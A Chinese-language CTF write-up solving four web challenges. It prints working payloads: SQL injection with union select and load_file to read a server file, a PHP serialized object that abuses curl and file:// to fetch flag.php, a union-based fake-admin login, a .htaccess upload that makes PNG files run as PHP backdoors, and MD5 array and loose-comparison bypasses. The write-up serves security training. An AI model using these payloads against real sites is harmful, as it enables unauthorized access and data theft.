[网鼎杯2018]fakebook题解 先注册一个 然后发现/view.php?no=1 貌似可以sql注入?no=-1 显示了Notice: Trying to get property of non-object in /var/www/html/view.php on line 53 数字型 的所有就?no=0 扫后台发现robots.txt 然后又发现一个user.php.bak 可以大概猜一猜flag位置
然后这又是一个序列化题目
<?php
class UserInfo
{
public $name = “aaad”;
public $age = 19;
public $blog = “file:///var/www/html/flag.php”;
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
$a = new UserInfo(“aaad”,19,”file:///var/www/html/flag.php”);
var_dump(serialize($a));
?> 构造这个然后复制一波 aaad 19 4399 这些是自己弄 要弄什么都可以 ?no=-1//union//select//1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:4:”aaad”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ 然后右键查看源码 有个data text 啥的
那段复制然后base64解码就可
或者因为sql注入没有过滤load_file直接取得flag
no=-1 union//select 1,load_file(“/var/www/html/flag.php”),3,4
[GXYCTF2019]BabySQli 1 union select 1,2,3 在这个关要构造假身份 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。select * from ‘users’ where name=’person’ union select 1,’admin’,’e10adc3949ba59abbe56057f20f883e’,4,5 按照我们的输入,sqli在数据库中写入数据,相当于伪造了一个身份,就可以用这个身份登录了。
试探id username password 这三个的顺序如何 name=aaa’ union select ‘admin’,2 #&pw=qqq 显示wrong user
name=aaa’ union select 1,’admin’,3 #&pw=qqq 显示wrong password 然后把3 改成qqq的MD5加密形式就可以了
https://xz.aliyun.com/t/3674(反序列化的一些知识点)
[MRCTF2020]你传你🐎呢 1
<FilesMatch “1.png”>
SetHandler application/x-httpd-php
传一个这样的.htaccess 这个是将1.png 默认成php 然后传一个1.png的后门文件就可以了
[MRCTF2020]Ez_bypass 1又是一题MD5 比较的 那就数组绕过?gg[]=1&id[]=2
然后post一个passwd=1234567a就可以了 因为 if($passwd==1234567)